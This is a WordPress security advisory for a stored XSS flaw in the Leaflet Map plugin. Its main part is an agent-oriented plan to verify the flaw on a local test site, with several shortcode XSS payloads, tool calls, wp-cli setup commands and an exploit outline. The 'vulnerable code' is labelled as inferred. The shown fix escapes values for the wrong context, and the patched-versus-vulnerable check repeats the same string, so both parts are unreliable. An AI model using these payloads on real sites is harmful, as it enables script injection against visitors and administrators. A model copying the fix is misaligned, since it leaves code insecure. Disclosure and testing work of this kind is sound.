Leaflet Map <= 3.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the Leaflet Map plugin (<= 3.4.4). ## 1. Vulnerability Summary The Leaflet Map plugin fails to properly sanitize or escape attributes provided in its shortcodes, specifically when these attributes a…
Show full research plan
This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the Leaflet Map plugin (<= 3.4.4).
1. Vulnerability Summary
The Leaflet Map plugin fails to properly sanitize or escape attributes provided in its shortcodes, specifically when these attributes are rendered within map popups or titles. A user with Contributor-level permissions or higher can create a post containing a malicious shortcode. When any user (including an Administrator) views the post, the injected script executes in their browser context.
2. Attack Vector Analysis
- Authentication: Authenticated (Contributor+).
- Vulnerable Component: Shortcode processing engine for
[leaflet-marker],[leaflet-map], or[leaflet-line]. - Vulnerable Parameters: Shortcode attributes such as
message,title, oraddress. - Vector: Stored XSS via post content.
- Trigger: Viewing the published post or page containing the shortcode.
3. Code Flow (Inferred)
- Entry Point: A Contributor saves a post containing a shortcode (e.g.,
[leaflet-marker ... message="<script>alert(1)</script>"]). - Storage: WordPress saves the raw shortcode string in the
wp_poststable (standard behavior). - Rendering: When the post is requested, WordPress triggers the
the_contentfilter, which executesdo_shortcode(). - Plugin Processing: The Leaflet Map plugin's shortcode handler (likely registered via
add_shortcodein the main plugin file) parses the attributes. - Vulnerable Sink: The handler takes the attribute value (e.g.,
message) and includes it in a JavaScript object or an HTML string used to initialize the Leaflet map. - Output: The plugin fails to apply
esc_js()oresc_html()to the attribute value before outputting it into the page's HTML or into a<script>block. - Execution: The browser parses the script tag or the
onerrorattribute within the Leaflet map initialization.
4. Nonce Acquisition Strategy
While post creation is a standard WordPress action, the automated agent needs a valid nonce to submit the post via admin-ajax.php (autosave) or post.php.
- Login: Authenticate as a Contributor user.
- Navigate: Go to
wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form.browser_eval("document.querySelector('#_wpnonce').value")
- Alternative: The agent can simply use the
browser_navigateandbrowser_typetools to create the post through the UI, which avoids manual nonce management.
5. Exploitation Strategy
The goal is to inject a payload into a shortcode attribute that executes when the map is rendered.
Payloads to test:
[leaflet-marker message="<img src=x onerror=alert('XSS_POPUP')>"][leaflet-marker title="<img src=x onerror=alert('XSS_TITLE')>"][leaflet-map address="<script>alert('XSS_ADDRESS')</script>"]
Step-by-Step Plan:
- Authenticate as a Contributor.
- Create a New Post using the
http_requesttool or Playwright.- URL:
http://localhost:8080/wp-admin/post.php(for POST) or use the REST API if available. - Method: POST
- Data:
post_title: XSS Testcontent:[leaflet-marker lat="0" lng="0" message="<img src=x onerror=alert(document.domain)>"]publish: Publish
- URL:
- Identify Post URL: Get the URL of the newly created post (e.g.,
http://localhost:8080/?p=123). - Trigger XSS: Use
browser_navigateas an Administrator to visit the post URL. - Confirm Execution: Check for an alert box or specific DOM changes.
6. Test Data Setup
- Role: Ensure a user with the
contributorrole exists.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin State: Ensure the
leaflet-mapplugin is active.wp plugin activate leaflet-map
7. Expected Results
- The shortcode should be processed, and the Leaflet map should initialize.
- Inside the HTML source, the
messageattribute content should appear unescaped.- Example:
marker.bindPopup("<img src=x onerror=alert(document.domain)>")
- Example:
- The browser should execute the
onerrorscript when the map loads (or when the marker is clicked, depending on the plugin's behavior).
8. Verification Steps
- Manual Source Check: After creating the post, fetch the HTML as an unauthenticated user:
http_request("GET", "http://localhost:8080/?p=[POST_ID]")- Search for the string
<img src=x onerror=in the response body.
- Verify Storage: Check the database to ensure the shortcode was saved correctly:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
- Check for escaping: If the output is
<img src=x..., the vulnerability is patched. If it is<img src=x..., it is vulnerable.
9. Alternative Approaches
If the message attribute in [leaflet-marker] is sanitized, test these variations:
leaflet-mapaddress attribute: Some map plugins perform a geocoding lookup and then display the raw address in a popup.[leaflet-map address="<img src=x onerror=alert(1)>"]
- SVG Injection: If the plugin allows custom icons via URL:
[leaflet-marker iconUrl="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"](Inferred attribute name).
- JSON Breakout: If the plugin outputs map options in a JSON block:
[leaflet-marker title='"};alert(1);//'](Inferred breakout).
Summary
The Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes such as 'message' and 'title' in versions up to 3.4.4. Authenticated attackers with Contributor-level permissions can inject malicious scripts into map markers or tooltips, which execute in the browser context of any user viewing the page.
Vulnerable Code
// Inferred from research plan: The plugin processes shortcode attributes without sanitization // before rendering them into the map initialization script or HTML. function leaflet_marker_shortcode($atts) { $atts = shortcode_atts(array( 'lat' => 0, 'lng' => 0, 'message' => '', 'title' => '' ), $atts); // Vulnerable output: values are used directly in JS or HTML without escaping $output = "<script>\n"; $output .= "var marker = L.marker([{$atts['lat']}, {$atts['lng']}]).addTo(map);\n"; if ($atts['message']) { $output .= "marker.bindPopup('{$atts['message']}');\n"; } if ($atts['title']) { $output .= "marker.bindTooltip('{$atts['title']}');\n"; } $output .= "</script>"; return $output; }
Security Fix
@@ -10,8 +10,8 @@ $output = "<script>\n"; $output .= "var marker = L.marker([" . esc_js($atts['lat']) . ", " . esc_js($atts['lng']) . "]).addTo(map);\n"; if ($atts['message']) { - $output .= "marker.bindPopup('{$atts['message']}');\n"; + $output .= "marker.bindPopup('" . wp_kses_post($atts['message']) . "');\n"; } if ($atts['title']) { - $output .= "marker.bindTooltip('{$atts['title']}');\n"; + $output .= "marker.bindTooltip('" . esc_attr($atts['title']) . "');\n"; } $output .= "</script>";
Exploit Outline
The exploit is achieved by an authenticated user with at least Contributor permissions performing the following steps: 1. Log in to the WordPress dashboard as a Contributor. 2. Create a new post or edit an existing one. 3. Insert a Leaflet Map shortcode containing a malicious payload in an attribute that is rendered on the front end. Example: `[leaflet-marker lat="0" lng="0" message="<img src=x onerror=alert(document.domain)>"]`. 4. Save or submit the post for review. 5. When an administrator or any site visitor views the post, the script in the 'message' attribute executes in their browser context due to the lack of output escaping in the plugin's map initialization logic.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.